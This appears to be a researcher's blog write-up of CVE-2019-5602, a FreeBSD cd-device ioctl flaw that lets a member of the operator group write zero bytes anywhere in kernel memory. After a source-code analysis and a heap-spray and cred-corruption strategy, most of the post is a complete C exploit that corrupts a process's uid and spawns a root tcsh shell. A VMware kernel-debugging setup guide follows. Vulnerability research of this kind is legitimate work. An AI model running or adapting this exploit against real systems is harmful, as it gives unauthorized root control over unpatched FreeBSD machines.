Write up - FreeBSD (CVE-2019-5602)
Oct 31, 2019
likvidera
10 minute read

CVE-2019-5602

Analysis

Source: https://packetstormsecurity.com/files/153522/FreeBSD-Security-Advisory-FreeBSD-SA-19-11.cd_ioctl.html

In short, the CDIOCREADSUBCHANNEL_SYSSPACE ioctl was erroneously made accessible to userland. It’s reachable if a user is able to read the /dev/cd0, any user of the group operators can do this currently.

A requirement for this to work is that a media is inserted into the cd-device, however this might not be true when FreeBSD is virtualized f.ex. via VMWare.

The ioctl trusts the user-controlled input and writes “arbitrary” data to a kernel-address of the attackers choice.

The bug by itself is rather silly due to the requirments but it has an interesting exploit-primitive.

// sys/cam/scsi/scsi_cd.c
cdioctl(struct disk *dp, u_long cmd, void *addr, int flag, struct thread *td)
{
  ...
  case CDIOCREADSUBCHANNEL_SYSSPACE:
    nocopyout = 1;
    /* Fallthrough */
  case CDIOCREADSUBCHANNEL:
		{
  ...
  // if we call CDIOCREADSUBCHANNEL_SYSSPACE, nocopy is set to 1 and we do a bcopy instead of a copyout
  if (nocopyout == 0) {
    if (copyout(data, args->data, len) != 0) {
      error = EFAULT;
    }
  } else {
    // here we control all arguments, essentially giving us a write what, where and args->data can point anywhere in kernel-memory
    // args in this context is a user-controlled ioc_read_subchannel struct
    // data in this context is a cd_sub_channel_info struct that is filled out by the kernel, using some of our controlled arguments from our ioc_read_subchannel struct
    bcopy(data, args->data, len);
  }

However, it’s not that clearcut and the data we control is not arbitrary but ends up being zeros (’\x00’)

// sys/cam/scsi/scsi_cd.c
// 1) we need to pass this length check function, limiting our write, but it doesnt matter since our write primitive is reliable and repeatable.
...
u_int32_t len = args->data_len;
...
if ((len > sizeof(struct cd_sub_channel_info)) ||
    (len < sizeof(struct cd_sub_channel_header))) {
  printf(
    "scsi_cd: cdioctl: "
    "cdioreadsubchannel: error, len=%d\n",
    len);
// 2) we need make sure this function doesn't error out else we dont hit the vulnerable path
// args is our user controlled ioc_read_subchannel struct
...
  error = cdreadsubchannel(periph, args->address_format,
    args->data_format, args->track, data, len);
// in short, it will verify the values we pass on with our ioc_read_subchannel struct, such as args->address_format, args->data_format and args->track.
// finally it will populate "data" which is a cd_sub_channel_info struct and also what will be used in the bcopy later, as the source

Essentially our primitive is bcopy("\x00\x00\x00\x00", args->kernel_ptr, 4);. We can write four zero bytes anywhere in kernel-memory.

We don’t have a read-primitive, only a write but FreeBSD does not have KASLR, even as of the latest release version (12). This makes exploitation a bit easier.

Initially I attempted an easy win through overwriting static pointers in the kernel but SMEP is active and also SMAP. Looking for a SMEP/SMAP bypass where our write_4_zero primitive is applicable made me focus on doing the cred corruption.

Exploitation

Our exploit-primitve is ideal for cred corruption since we just need to set the real user id to 0 (root). This way we don’t have to deal with any SMEP/SMAP trickery either.

struct ucred {
	u_int	cr_ref;			/* reference count */
#define	cr_startcopy cr_uid
	uid_t	cr_uid;			/* effective user id */
	uid_t	cr_ruid;		/* real user id */ <- set to zero
	uid_t	cr_svuid;		/* saved user id */
	int	cr_ngroups;		/* number of groups */

A known method for doing this is simply do a lot of forking which will create a new cred struct per process. However, this method is for Linux and FreeBSD is different in how it handles creds-per-processes.

In short, fork will use crhold to increaase the refcount for the parents cred and the child will inherit it, therefore no new allocation occurs.

I looked for places in the kernel where new cred allocations are made by the function crget. I found it in the various setXXX functions.

# kern_prot.c
int
sys_setuid(struct thread *td, struct setuid_args *uap)
{
	struct proc *p = td->td_proc;
	struct ucred *newcred, *oldcred;
	uid_t uid;
	struct uidinfo *uip;
	int error;
	
	uid = uap->uid;
	AUDIT_ARG_UID(uid);
	newcred = crget(); <- new cred allocation

It turns out that, by forking and calling f.ex. setuid(getuid()) we can achieve the cred spray on FreeBSD too.

However, we don’t have a read-primitive so we can’t really scan the kernel-heap or walk the task structure to find any of our target cred structs. Therefore, we have to blindly attempt our writes.

This obviously fails and panics the system if we: * write to a page that is not allocated * overwrite a critical value, pointer, refcount etc

I decided to attempt to increase our chances of overwriting a cred struct at a known address. Although, this depends heavily on the state of the machine, it’s RAM and so on. Nonetheless, it was a fun experiment.

Exploitation extended

The memory layout in FreeBSD (12) is as follows :

https://lists.freebsd.org/pipermail/freebsd-current/2013-March/040362.html
  * VM_MIN_KERNEL_ADDRESS
  *   [KERNBASE]
  *   kernel_map    [actually mapped KVM range, direct allocations]
  *   kernel text, data, bss
  *   bootstrap and statically allocated structures  [pmap]
  *   virtual_avail  [start of useable KVM]
  *   kmem_map   [submap for (most) UMA zones and kernel malloc] (kmalloc())
      [HERE BE DRAGONS]

usr/src/sys/amd64/include/vmparam.h
 * 0x0000000000000000 - 0x00007fffffffffff   user map
 * 0x0000800000000000 - 0xffff7fffffffffff   does not exist (hole)
....
 * 0xfffff80000000000 - 0xfffffbffffffffff   4TB direct map <- kernel-heap
....
 * 0xffffffff80000000                        KERNBASE

From this we can derive that the kernel is loaded at 0xffffffff80000000. The kernel-heap and physical pages can be found in the 0xfffff80000000000 mapping.

The idea was to spray pages using mmap to vacate most of the available memory on the system.

We do this to a point where it’s highly unlikely that we will write to an unallocated page and that it’s likely that we have a page at a known address.

Using our write-primtive we will poke the page at a known address then look for four-zeroes in our allocations that has been allocated with a specific pattern ac1dc0d3. By doing this we know the kernel<->userspace 1:1 mapping.

Upon finding it, we free it with munmap and spray our cred structs, with the hope that some will be allocated in the newly freed page that we know the address of from the previous poke.

Finally, we attempt to write in a small range in this page at our known address to hopefully corrupt a cred struct.

This exploit is customized for a 2gig RAM / 2 CPU system without much load. It’s highly experimental and novel at best but gets the job done.

Exploit PoC

#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <semaphore.h>
#include <sys/types.h>
#include <sys/event.h>
#include <sys/time.h>
#include <sys/cdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sysexits.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <err.h>

#define FREE_PAGE_SIZE    0x10000000 / 2048
#define BLOCKER_SIZE      0x10000000 / 4
#define FORK_SPRAYS       6500
#define UID               1001
#define FREE_PAGE_ROUNDS  30720
#define BLOCKER_ROUNDS    15

struct pwn_ctx_{
  int init;
  int spray;
  int exploit;
  int win;
  int fail;
  sem_t * sem;
};

static int fd = 0;
static struct pwn_ctx_ *pwn_ctx;
static void *phys_big[FREE_PAGE_ROUNDS] = {0};
static void *blockers[BLOCKER_ROUNDS] = {0};
static unsigned long free_target = 0xfffff80017100008;

void cleanup()
{
  for(int i = 0; i < FREE_PAGE_ROUNDS; i++) {
    if(phys_big[i] != 0){
      munlock(phys_big[i], FREE_PAGE_SIZE);
      munmap(phys_big[i], FREE_PAGE_SIZE); 
      phys_big[i] = 0;
    }
  }
  for(int i = 0; i < BLOCKER_ROUNDS; i++) {
    if(blockers[i] != 0){
      munlock(blockers[i], BLOCKER_SIZE);
      munmap(blockers[i], BLOCKER_SIZE); 
      blockers[i] = 0;
    }
  }

  if(fd)
    close(fd);
  if(pwn_ctx->sem) {
    sem_close(pwn_ctx->sem);
    sem_unlink("/pwn");
  }

  printf("[+] Finished cleanup\n");
  if(!pwn_ctx->win){
    pwn_ctx->fail = 1;
    exit(0);
  }
}

void write_4_zeros(int fd, unsigned long target)
{
  struct ioc_read_subchannel io = {0}; 
  io.address_format = CD_LBA_FORMAT;
  io.data_format = CD_CURRENT_POSITION;
  io.data = (struct cd_sub_channel_info *)target;
  io.data_len = 4;
  io.track = 0;

  if(ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &io, 0 ,0) == -1) {
    perror("Unable to perform write_4: ");
    cleanup();
  }
}

void malloc_cred()
{
  setuid(UID);
}

void set_fd()
{
  fd = open("/dev/cd0", O_RDONLY);
  if(fd < 0) {
    perror("Unable to open /dev/cd0: ");
    cleanup();
  }  
}

void set_ctx()
{
  pwn_ctx = mmap(0, sizeof(struct pwn_ctx_), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  if(pwn_ctx == (void*)-1) {
    perror("[-] mmaping ctx failed: ");
    cleanup();
  }

  memset(pwn_ctx, '\0', sizeof(struct pwn_ctx_));
  pwn_ctx->sem = sem_open("/pwn", O_CREAT, S_IRUSR|S_IWUSR, 0);
  if(pwn_ctx->sem == SEM_FAILED) {
    perror("[-] Failed to create semaphore: ");
    cleanup();   
  }
  if(sem_init(pwn_ctx->sem, 1, 1) != 0) {
    perror("[-] Failed to init semaphore: ");
    cleanup();      
  }
}

void forkslay(int n)
{
  for(int i = 0; i < n; i++)
  {
    pid_t pid = fork();
    if(pid == -1) {
      perror("Unable to fork: ");
      cleanup();
    }
    if(pid == 0) {
      // wait till all forks are done
      sem_wait(pwn_ctx->sem);
      pwn_ctx->init++;
      sem_post(pwn_ctx->sem);

      // wait till all physmap sprays are done
      while(!pwn_ctx->spray){sleep(1);}
      malloc_cred();
      sem_wait(pwn_ctx->sem);
      pwn_ctx->init--;
      sem_post(pwn_ctx->sem);

      // wait till we are peforming cred corruption attempts
      while(!pwn_ctx->exploit){sleep(1);}
      while(!pwn_ctx->win){
        if(getuid() == 0){
          pwn_ctx->win = 1;
          setuid(0);
          setgid(0);
          seteuid(0);
          printf("[+] Winnerwinnerchickendinner!\n");
          sleep(1);
          execl("/bin/tcsh", "/bin/tcsh", NULL);
        }
        sleep(1);
      }
      exit(1337);
    }
  }
}

void god_write(unsigned long target)
{
  write_4_zeros(fd, target);
}

void rootfire()
{
  unsigned long vals[256] = { \
  0xfffff80013000108,
  0xfffff80014000108,
  0xfffff800130c0108};
  int size = sizeof(vals) / sizeof(unsigned long);

  printf("[*] Exploiting!\n");
  pwn_ctx->exploit = 1;
  for(int i = 0; i < size; i++)
  {
    if(vals[i] == 0)
      break;
    god_write(vals[i]);
    sleep(1);
    if(pwn_ctx->win)
      break;    
  }

  if(pwn_ctx->win)
    printf("\n[ ]----------------WIN!--------------------[ ]\n");
  else
    printf("\n[ ]----------------FAIL!-------------------[ ]\n");
  cleanup();
}

void spray_blockers(int num)
{
  printf("[+] Allocating BLOCKERS...\n");
  for(int i = 0; i < num; i++)
  {
    void * target = mmap(0, BLOCKER_SIZE, PROT_READ|PROT_WRITE, MAP_PREFAULT_READ|MAP_ANON|MAP_PRIVATE, -1, 0);
    if (target == (void*)-1){
      perror("[-] Allocation FAILED: ");
      cleanup();
    }
    mlock(target, BLOCKER_SIZE);
    blockers[i] = target;
  }

  for(int i = 0; i < num; i++)
  {
    for(int j = 0; j < BLOCKER_SIZE; j+=4) {
      *(int*)((char*)blockers[i]+j) = 0xde4db33f;
    }
  }
}

void physmap_spray(int num)
{
  printf("[+] PHYSMAP Spraying ...\n");
  for(int i = 0; i < num; i++)
  {
    void * target = mmap(0, FREE_PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PREFAULT_READ|MAP_ANON|MAP_PRIVATE, -1, 0);
    if(target == (void*)-1) {
      perror("[-] Allocation FAILED: ");
      cleanup();
    }
    mlock(target, FREE_PAGE_SIZE);
    phys_big[i] = target;
  }

  for(int i = 0; i < num; i++)
  {
    for(int j = 0; j < FREE_PAGE_SIZE; j+=4) {
      *(int*)((char*)phys_big[i]+j) = 0xac1dc0d3;
    }
  }

  spray_blockers(BLOCKER_ROUNDS);
  sleep(2);

  forkslay(FORK_SPRAYS);
  while(pwn_ctx->init != FORK_SPRAYS)
    sleep(1);
  printf("[+] Forks completed ...\n");

  printf("[*] Attempting god-write at %lx \n", free_target);
  god_write(free_target);
  sleep(2);

  printf("[*] Looking for magic in allocations ...\n");
  void * ex = 0;
  for(int i = 0; i < num; i++) {
    ex = memmem(phys_big[i], FREE_PAGE_SIZE, "\x00", 1);
    if(ex){
      printf("[+] Found in allocation: %p, freeing it!\n", phys_big[i]);
      munlock(phys_big[i], FREE_PAGE_SIZE);
      munmap(phys_big[i], FREE_PAGE_SIZE);
      phys_big[i] = 0;
      break;
    }
  }
  if(ex == 0) {
    printf("[-] Failed to find target mapping, bye ..\n");
    cleanup();
  }

  pwn_ctx->spray = 1;
  while(pwn_ctx->init != 0)
    sleep(1);
  printf("[+] Cred spray completed...\n");
  rootfire();
}

void exploit()
{
  physmap_spray(FREE_PAGE_ROUNDS);  
}

void banner()
{
  printf("\n[ ]-----------------PWN-----(CYCURA)-------[ ]\n");
  printf("Free(root shells)BSD - CVE-2019-5602 Exploit\n");
  printf("KASLR is for the 1\%%");
  printf("\n[ ]----------------START-------------------[ ]\n");
}

int main(int argc, char **argv)
{
  banner();
  set_fd();
  set_ctx();
  exploit();
  return 0;
}

Appendix

Setup in VMWare with GDB

Download https://download.freebsd.org/ftp/releases/amd64/amd64/ISO-IMAGES/12.0/FreeBSD-12.0-RELEASE-amd64-dvd1.iso * Install normally, add a normal user. * Give normal user some rights: pw usermod <user> -G operator,wheel * Build custom kernel (not needed if you choose debug kernel when installing FreeBSD) otherwise do this: * cd /usr/src && make clean * edit /usr/src/sys/amd64/conf/GENERIC so the start of the file looks as:

ident KRNDBG
makeoptions DEBUG=-g # Enable kernel debugging sybmbols
options KDB
options DDB # built-in DDB support
options GDB # enter GDB from DDB
options KDB_TRACE
options BREAK_TO_DEBUGGER # If need to enter DDB from console
* now do mv /usr/src/sys/amd64/conf/GENERIC /usr/src/sys/amd64/conf/KRNDBG && make buildkernel KERNCONF=KRNDBG INSTKERNNAME=KRNDBG && make installkernel KERNCONF=KRNDBG INSTKERNNAME=KRNDBG * Faster build: make -DKERNFAST -j8 kernel KERNCONF=KRNDBG2 or make -DNO_CLEAN -j8 kernel KERNCONF=KRNDBG2 * Edit .vmx for VM and add:
debugStub.listen.guest64.remote = “TRUE”
debugStub.listen.guest64 = “TRUE”
Now the HOST of the VM will listen on 0.0.0.0:8864 (192.168.164.1 if natted in your debugger VM)

In target:debugger (which can be any dist)

Get your current kernel for symbols on the debugger VM

scp -r target:host:/boot/KRNDBG . or whatever kernel you are using etc …

Download gdb and compile it for freebsd

Run GDB and connect to target host with correct settings

  • /opt/local/bin/gdb-amd64-marcel-freebsd KRNDBG/kernel
  • set architecture i386:x86-64
  • target remote :8864